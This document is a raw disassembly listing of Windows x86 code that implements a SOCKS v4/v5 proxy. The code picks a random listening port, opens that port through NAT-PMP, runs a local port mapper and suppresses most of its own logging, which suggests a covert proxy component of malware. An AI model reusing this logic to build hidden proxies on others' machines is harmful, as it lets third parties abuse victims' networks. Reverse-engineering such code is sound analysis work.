		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_418], eax
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		xor	edi, edi
		mov	eax, [ebp+var_418]
		mov	edx, [eax]
		mov	[ebp+var_40C], edx
		push	eax
		call	sub_401076
		pop	ecx
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	0
		push	[ebp+var_40C]
		push	dword_412938
		call	sub_401FE3
		add	esp, 0Ch
		mov	[ebp+var_420], eax
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		cmp	[ebp+var_420], 0
		jnz	short loc_40421B
		mov	eax, [ebp+var_40C]
		mov	[ebp+var_41C], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		mov	[ebp+var_414], eax
		push	[ebp+var_414]
		push	offset aConnectionReje ; "connection rejected (from [%s])\n"
		call	nullsub_1
		pop	ecx
		pop	ecx
		jmp	loc_4043E2
; ---------------------------------------------------------------------------


loc_40421B:				; CODE XREF: sub_40417F+6Bj
		mov	[ebp+var_40E], 0C1Dh
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_40C], eax
		test	eax, eax
		jz	short loc_404244
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404244
		test	eax, eax
		jnz	short loc_404249


loc_404244:				; CODE XREF: sub_40417F+B8j
					; sub_40417F+BFj
		jmp	loc_4043E2
; ---------------------------------------------------------------------------


loc_404249:				; CODE XREF: sub_40417F+C3j
		mov	eax, [ebp+var_40C]
		mov	[ebp+var_41C], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		mov	[ebp+var_414], eax
		movzx	eax, [ebp+var_40E]
		push	eax
		push	[ebp+var_414]
		push	offset aConnectingToSI ; "connecting to	%s:%i\n"
		call	nullsub_1
		add	esp, 0Ch
		movzx	eax, [ebp+var_40E]
		push	eax
		push	[ebp+var_40C]
		push	edi
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4042BD
		call	sub_4070C2	; WSAGetLastError
		push	eax
		movzx	eax, [ebp+var_40E]
		push	eax
		push	[ebp+var_414]
		push	offset aConnectionToSI ; "connection to	%s:%i failed! %-( (%i)\n"
		call	nullsub_1
		add	esp, 10h
		jmp	loc_4043E2
; ---------------------------------------------------------------------------


loc_4042BD:				; CODE XREF: sub_40417F+116j
		movzx	eax, [ebp+var_40E]
		push	eax
		push	[ebp+var_414]
		push	offset aConnectedToSI ;	"connected to %s:%i\n"
		call	nullsub_1
		add	esp, 0Ch
		xor	esi, esi


loc_4042DA:				; CODE XREF: sub_40417F+242j
					; sub_40417F+253j
		inc	esi
		push	[ebp+var_4]
		call	sub_4014CF
		pop	ecx
		test	eax, eax
		jl	loc_4043D7
		push	[ebp+var_4]
		call	sub_401542
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_4043D7
		cmp	esi, 1Eh
		jle	short loc_40430B
		test	ebx, ebx
		jnz	short loc_40430B
		xor	ebx, ebx
		inc	ebx


loc_40430B:				; CODE XREF: sub_40417F+183j
					; sub_40417F+187j
		test	ebx, ebx
		jle	short loc_404357
		cmp	ebx, 400h
		jle	short loc_40431C
		mov	ebx, 400h


loc_40431C:				; CODE XREF: sub_40417F+196j
		push	ebx
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_4]
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jle	loc_4043D7
		push	[ebp+var_8]
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4043E2
		xor	esi, esi


loc_404357:				; CODE XREF: sub_40417F+18Ej
		push	edi
		call	sub_4014CF
		pop	ecx
		test	eax, eax
		jl	short loc_4043D7
		push	edi
		call	sub_401542
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_4043D7
		cmp	esi, 1Eh
		jle	short loc_40437B
		test	ebx, ebx
		jnz	short loc_40437B
		xor	ebx, ebx
		inc	ebx


loc_40437B:				; CODE XREF: sub_40417F+1F3j
					; sub_40417F+1F7j
		test	ebx, ebx
		jle	short loc_4043BF
		cmp	ebx, 400h
		jle	short loc_40438C
		mov	ebx, 400h


loc_40438C:				; CODE XREF: sub_40417F+206j
		push	ebx
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jle	short loc_4043D7
		push	[ebp+var_8]
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_4]
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_4043E2
		xor	esi, esi


loc_4043BF:				; CODE XREF: sub_40417F+1FEj
		test	esi, esi
		jz	loc_4042DA
		push	190h
		call	dword_411D04	; Sleep
		jmp	loc_4042DA
; ---------------------------------------------------------------------------


loc_4043D7:				; CODE XREF: sub_40417F+167j
					; sub_40417F+17Aj ...
		push	offset aDataExchangeCo ; "data exchange	complete\n"
		call	nullsub_1
		pop	ecx


loc_4043E2:				; CODE XREF: sub_40417F+97j
					; sub_40417F:loc_404244j ...
		push	offset aConnectionClos ; "connection closed.\n"
		call	nullsub_1
		pop	ecx
		push	[ebp+var_4]
		call	sub_4014C2
		pop	ecx
		test	edi, edi
		jz	short loc_404401
		push	edi
		call	sub_4014C2
		pop	ecx


loc_404401:				; CODE XREF: sub_40417F+279j
		call	sub_407D30
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40417F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40440D	proc near		; DATA XREF: sub_404CDF+164o
					; DMN1:004462AEo

var_6		= word ptr -6
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi


loc_404415:				; CODE XREF: sub_40440D+BEj
		call	sub_401359
		mov	dword_41102C, eax
		push	0C1Ch
		push	0
		push	dword_41102C
		call	sub_4015B7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404445
		push	offset aCanTBindPortMa ; "can't bind port mapper listen socket!\n"
		call	nullsub_1
		pop	ecx
		jmp	short loc_4044A4
; ---------------------------------------------------------------------------


loc_404445:				; CODE XREF: sub_40440D+29j
					; sub_40440D+62j ...
		push	dword_41102C
		call	sub_401607
		pop	ecx
		test	eax, eax
		jz	short loc_4044A4
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	dword_41102C
		call	sub_40166C
		add	esp, 0Ch
		mov	esi, eax
		test	esi, esi
		jz	short loc_404445
		push	0Ch
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		mov	[ebx], eax
		mov	ax, [ebp+var_6]
		mov	[ebx+4], ax
		mov	[ebx+8], esi
		push	ebx
		push	0
		push	offset sub_40417F
		call	sub_407CA0
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		jmp	short loc_404445
; ---------------------------------------------------------------------------


loc_4044A4:				; CODE XREF: sub_40440D+36j
					; sub_40440D+46j
		cmp	dword_41102C, 0
		jz	short loc_4044D0
		push	dword_41102C
		call	sub_4014C2
		pop	ecx
		and	dword_41102C, 0
		push	4E20h
		call	dword_411D04	; Sleep
		jmp	loc_404415
; ---------------------------------------------------------------------------


loc_4044D0:				; CODE XREF: sub_40440D+9Ej
		cmp	dword_41102C, 0
		jz	short loc_4044E5
		push	dword_41102C
		call	sub_4014C2
		pop	ecx


loc_4044E5:				; CODE XREF: sub_40440D+CAj
		and	dword_41102C, 0
		call	sub_407D30
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40440D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_404573+2Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	0
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		add	ebx, 2
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		push	8
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_401787
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404531	proc near		; CODE XREF: sub_404573+47p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	5
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		add	ebx, 4
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		push	0Ah
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_401787
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404531	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404573	proc near		; CODE XREF: sub_404645+1F8p
					; sub_404645+3B4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	bl, [ebp+arg_8]
		cmp	bl, 9
		jbe	short loc_404583
		xor	bl, bl
		inc	bl


loc_404583:				; CODE XREF: sub_404573+Aj
		cmp	[ebp+arg_0], 4
		jnz	short loc_4045AB
		movzx	eax, bl
		mov	bl, byte_411038[eax]
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_4044F7
		add	esp, 10h
		jmp	short loc_4045C2
; ---------------------------------------------------------------------------


loc_4045AB:				; CODE XREF: sub_404573+14j
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_404531
		add	esp, 10h


loc_4045C2:				; CODE XREF: sub_404573+36j
		pop	ebx
		pop	ebp
		retn
sub_404573	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045C5	proc near		; CODE XREF: sub_404645+182p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+arg_0]


loc_4045CD:				; CODE XREF: sub_4045C5+23j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	ebx
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_4045E4
		xor	eax, eax
		jmp	short loc_4045ED
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_4045C5+19j
		cmp	[ebp+var_1], 0
		jnz	short loc_4045CD
		xor	eax, eax
		inc	eax


loc_4045ED:				; CODE XREF: sub_4045C5+1Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4045C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045F2	proc near		; CODE XREF: sub_404645+1B9p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		xor	edi, edi
		mov	byte ptr [ebx],	0


loc_404604:				; CODE XREF: sub_4045F2+47j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_40461D
		xor	eax, eax
		jmp	short loc_40463E
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_4045F2+25j
		mov	eax, edi
		inc	edi
		mov	dl, [ebp+var_1]
		mov	[ebx+eax], dl
		mov	byte ptr [ebx+edi], 0
		lea	eax, [esi-1]
		cmp	edi, eax
		jl	short loc_404635
		xor	eax, eax
		jmp	short loc_40463E
; ---------------------------------------------------------------------------


loc_404635:				; CODE XREF: sub_4045F2+3Dj
		cmp	[ebp+var_1], 0
		jnz	short loc_404604
		xor	eax, eax
		inc	eax


loc_40463E:				; CODE XREF: sub_4045F2+29j
					; sub_4045F2+41j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4045F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404645	proc near		; DATA XREF: sub_404CDF+22Co
					; DMN1:00446376o

var_430		= dword	ptr -430h
var_42B		= byte ptr -42Bh
var_42A		= byte ptr -42Ah
var_429		= byte ptr -429h
var_428		= dword	ptr -428h
var_421		= byte ptr -421h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_411		= byte ptr -411h
var_410		= dword	ptr -410h
var_40A		= word ptr -40Ah
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 430h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_41C], eax
		mov	edi, [eax+8]
		mov	eax, [ebp+var_41C]
		mov	edx, [eax]
		mov	[ebp+var_410], edx
		mov	dx, [eax+4]
		mov	[ebp+var_40A], dx
		push	eax
		call	sub_401076
		pop	ecx
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_410]
		mov	[ebp+var_420], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		mov	[ebp+var_418], eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectionFrom ; "connection from [%s]\n"
		call	sub_4075F0
		add	esp, 0Ch
		mov	[ebp+var_411], 0
		mov	[ebp+var_421], 0
		push	1
		lea	eax, [ebp+var_411]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	0
		push	[ebp+var_410]
		push	dword_412938
		call	sub_401FE3
		add	esp, 0Ch
		mov	[ebp+var_428], eax
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		cmp	[ebp+var_428], 0
		jnz	short loc_40472E
		push	[ebp+var_418]
		push	offset aConnectionReje ; "connection rejected (from [%s])\n"
		call	nullsub_1
		pop	ecx
		pop	ecx
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_40472E:				; CODE XREF: sub_404645+D0j
		mov	[ebp+var_40A], 0
		and	[ebp+var_410], 0
		mov	al, [ebp+var_411]
		cmp	al, 4
		jz	short loc_404750
		cmp	al, 5
		jnz	loc_404CB2


loc_404750:				; CODE XREF: sub_404645+101j
		push	[ebp+var_418]
		movsx	eax, [ebp+var_411]
		push	eax
		push	offset aSocksVIS ; "socks v%i  [%s]\n"
		call	nullsub_1
		add	esp, 0Ch
		cmp	[ebp+var_411], 4
		jnz	loc_40484A
		push	1
		lea	eax, [ebp+var_421]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		push	2
		lea	eax, [ebp+var_40A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		push	4
		lea	eax, [ebp+var_410]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		push	edi
		call	sub_4045C5
		pop	ecx
		test	eax, eax
		jz	loc_404CB2
		mov	eax, [ebp+var_410]
		test	eax, 0FFFFFFh
		jnz	loc_404A36
		test	eax, 0FF000000h
		jz	loc_404A36
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_4045F2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_404CB2
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_410], eax
		test	eax, eax
		jz	short loc_404834
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404834
		test	eax, eax
		jnz	loc_404A36


loc_404834:				; CODE XREF: sub_404645+1DEj
					; sub_404645+1E5j
		push	0
		push	0
		push	4
		push	edi
		push	4
		call	sub_404573
		add	esp, 14h
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_40484A:				; CODE XREF: sub_404645+12Dj
		cmp	[ebp+var_411], 5
		jnz	loc_404CB2
		mov	[ebp+var_429], 0
		push	1
		lea	eax, [ebp+var_429]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_40489A
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_404879:				; CODE XREF: sub_404645+25Cj
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		sub	[ebp+var_429], 1


loc_40489A:				; CODE XREF: sub_404645+22Dj
		cmp	[ebp+var_429], 0
		jnz	short loc_404879
		mov	[ebp+var_430], 5
		push	2
		lea	eax, [ebp+var_430]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		cmp	[ebp+var_42A], 5
		jnz	loc_404CB2
		push	1
		lea	eax, [ebp+var_421]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		mov	[ebp+var_42B], 0
		push	1
		lea	eax, [ebp+var_42B]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		cmp	[ebp+var_42B], 1
		jnz	short loc_40496B
		push	4
		lea	eax, [ebp+var_410]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	loc_404A1C
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_40496B:				; CODE XREF: sub_404645+305j
		cmp	[ebp+var_42B], 3
		jnz	loc_404A06
		push	1
		lea	eax, [ebp+var_429]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		cmp	[ebp+var_429], 0
		jz	loc_404CB2
		movsx	eax, [ebp+var_429]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		movsx	eax, [ebp+var_429]
		mov	[ebp+eax+var_408], 0
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_410], eax
		test	eax, eax
		jz	short loc_4049F0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4049F0
		test	eax, eax
		jnz	short loc_404A1C


loc_4049F0:				; CODE XREF: sub_404645+39Ej
					; sub_404645+3A5j
		push	0
		push	0
		push	4
		push	edi
		push	5
		call	sub_404573
		add	esp, 14h
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_404A06:				; CODE XREF: sub_404645+32Dj
		push	0
		push	0
		push	8
		push	edi
		push	5
		call	sub_404573
		add	esp, 14h
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_404A1C:				; CODE XREF: sub_404645+31Bj
					; sub_404645+3A9j
		push	2
		lea	eax, [ebp+var_40A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2


loc_404A36:				; CODE XREF: sub_404645+19Bj
					; sub_404645+1A6j ...
		movzx	eax, [ebp+var_40A]
		push	eax
		call	sub_407068	; htons
		mov	[ebp+var_40A], ax
		test	ax, ax
		jnz	short loc_404A6B
		push	0
		push	0
		push	2
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_404573
		add	esp, 14h
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_404A6B:				; CODE XREF: sub_404645+408j
		cmp	[ebp+var_421], 1
		jz	short loc_404A9A
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	7
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_404573
		add	esp, 14h
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_404A9A:				; CODE XREF: sub_404645+42Dj
		call	sub_401359
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_404AC2
		push	0
		push	0
		push	1
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_404573
		add	esp, 14h
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_404AC2:				; CODE XREF: sub_404645+45Fj
		mov	eax, [ebp+var_410]
		mov	[ebp+var_420], eax
		push	eax
		call	sub_4070B0	; inet_ntoa
		mov	[ebp+var_418], eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectingToSI ; "connecting to	%s:%i\n"
		call	nullsub_1
		add	esp, 0Ch
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	[ebp+var_4]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404B59
		call	sub_4070C2	; WSAGetLastError
		push	eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectionToSI ; "connection to	%s:%i failed! %-( (%i)\n"
		call	nullsub_1
		add	esp, 10h
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	4
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_404573
		add	esp, 14h
		jmp	loc_404CB2
; ---------------------------------------------------------------------------


loc_404B59:				; CODE XREF: sub_404645+4CBj
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectedToSI ;	"connected to %s:%i\n"
		call	nullsub_1
		add	esp, 0Ch
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	0
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_404573
		add	esp, 14h
		test	eax, eax
		jz	loc_404CB2
		push	offset aTransferringDa ; "transferring data...\n"
		call	nullsub_1
		pop	ecx
		xor	esi, esi


loc_404BAA:				; CODE XREF: sub_404645+64Cj
					; sub_404645+65Dj
		inc	esi
		push	edi
		call	sub_4014CF
		pop	ecx
		test	eax, eax
		jl	loc_404CA7
		push	edi
		call	sub_401542
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_404CA7
		cmp	esi, 1Eh
		jle	short loc_404BD7
		test	ebx, ebx
		jnz	short loc_404BD7
		xor	ebx, ebx
		inc	ebx


loc_404BD7:				; CODE XREF: sub_404645+589j
					; sub_404645+58Dj
		test	ebx, ebx
		jle	short loc_404C23
		cmp	ebx, 400h
		jle	short loc_404BE8
		mov	ebx, 400h


loc_404BE8:				; CODE XREF: sub_404645+59Cj
		push	ebx
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jle	loc_404CA7
		push	[ebp+var_8]
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_4]
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	loc_404CB2
		xor	esi, esi


loc_404C23:				; CODE XREF: sub_404645+594j
		push	[ebp+var_4]
		call	sub_4014CF
		pop	ecx
		test	eax, eax
		jl	short loc_404CA7
		push	[ebp+var_4]
		call	sub_401542
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_404CA7
		cmp	esi, 1Eh
		jle	short loc_404C4B
		test	ebx, ebx
		jnz	short loc_404C4B
		xor	ebx, ebx
		inc	ebx


loc_404C4B:				; CODE XREF: sub_404645+5FDj
					; sub_404645+601j
		test	ebx, ebx
		jle	short loc_404C8F
		cmp	ebx, 400h
		jle	short loc_404C5C
		mov	ebx, 400h


loc_404C5C:				; CODE XREF: sub_404645+610j
		push	ebx
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_4]
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jle	short loc_404CA7
		push	[ebp+var_8]
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_404CB2
		xor	esi, esi


loc_404C8F:				; CODE XREF: sub_404645+608j
		test	esi, esi
		jz	loc_404BAA
		push	12Ch
		call	dword_411D04	; Sleep
		jmp	loc_404BAA
; ---------------------------------------------------------------------------


loc_404CA7:				; CODE XREF: sub_404645+56Fj
					; sub_404645+580j ...
		push	offset aDataExchangeCo ; "data exchange	complete\n"
		call	nullsub_1
		pop	ecx


loc_404CB2:				; CODE XREF: sub_404645+91j
					; sub_404645+E4j ...
		push	offset aConnectionClos ; "connection closed.\n"
		call	nullsub_1
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_404CD3
		push	[ebp+var_4]
		call	sub_4014C2
		pop	ecx


loc_404CD3:				; CODE XREF: sub_404645+683j
		call	sub_407D30
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CDF	proc near		; DATA XREF: sub_406A07+62o
					; DMN1:00447ED4o

var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		and	dword_41100C, 0
		push	offset aListener___ ; "listener...\n"
		call	nullsub_1
		pop	ecx
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_4024A6
		pop	ecx
		mov	bx, ax
		test	bx, bx
		jz	short loc_404D33
		cmp	bx, 0FFFFh
		jz	short loc_404D33
		movzx	eax, bx
		cmp	dword_411010, eax
		jz	short loc_404D33
		movzx	eax, bx
		mov	dword_411010, eax
		movzx	eax, [ebp+var_A]
		mov	dword_41100C, eax


loc_404D33:				; CODE XREF: sub_404CDF+2Fj
					; sub_404CDF+36j ...
		call	sub_401359
		mov	dword_411034, eax


loc_404D3D:				; CODE XREF: sub_404CDF+D7j
		cmp	dword_41100C, 0
		jnz	short loc_404D76


loc_404D46:				; CODE XREF: sub_404CDF+8Ej
					; sub_404CDF+95j
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_401001
		pop	ecx
		mov	ecx, 4E20h
		cdq
		idiv	ecx
		lea	eax, [edx+4E20h]
		mov	dword_41100C, eax
		mov	eax, dword_41100C
		cmp	eax, 247Fh
		jz	short loc_404D46
		cmp	eax, 0BB8h
		jz	short loc_404D46


loc_404D76:				; CODE XREF: sub_404CDF+65j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	0
		push	dword_411034
		call	sub_4015B7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404DB8
		and	dword_41100C, 0
		and	dword_411010, 0
		push	dword_411034
		call	sub_4014C2
		pop	ecx
		call	sub_401359
		mov	dword_411034, eax
		jmp	short loc_404D3D
; ---------------------------------------------------------------------------


loc_404DB8:				; CODE XREF: sub_404CDF+B1j
		push	dword_41100C
		push	offset aSocksPortI ; "SOCKS port: %i\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		mov	eax, dword_41100C
		mov	dword_411010, eax
		call	sub_403113
		mov	[ebp+var_8], eax
		movzx	eax, word ptr dword_411010
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	[ebp+var_8]
		call	sub_403322
		add	esp, 0Ch
		movzx	eax, ax
		mov	dword_411010, eax
		cmp	dword_411010, 0
		jnz	short loc_404E14
		mov	eax, dword_41100C
		mov	dword_411010, eax
		jmp	short loc_404E26
; ---------------------------------------------------------------------------


loc_404E14:				; CODE XREF: sub_404CDF+127j
		push	dword_411010
		push	offset aNatpmpForwarde ; "NATPMP: forwarded to:	%i\n"
		call	sub_4075F0
		pop	ecx
		pop	ecx


loc_404E26:				; CODE XREF: sub_404CDF+133j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_402B02
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404E3F
		mov	eax, dword_41100C


loc_404E3F:				; CODE XREF: sub_404CDF+159j
		push	0
		push	0
		push	offset sub_40440D
		call	sub_407CA0
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	1
		push	offset dword_411024
		call	dword_411D08	; InterlockedExchange
		push	1
		push	offset dword_411030
		call	dword_411D08	; InterlockedExchange
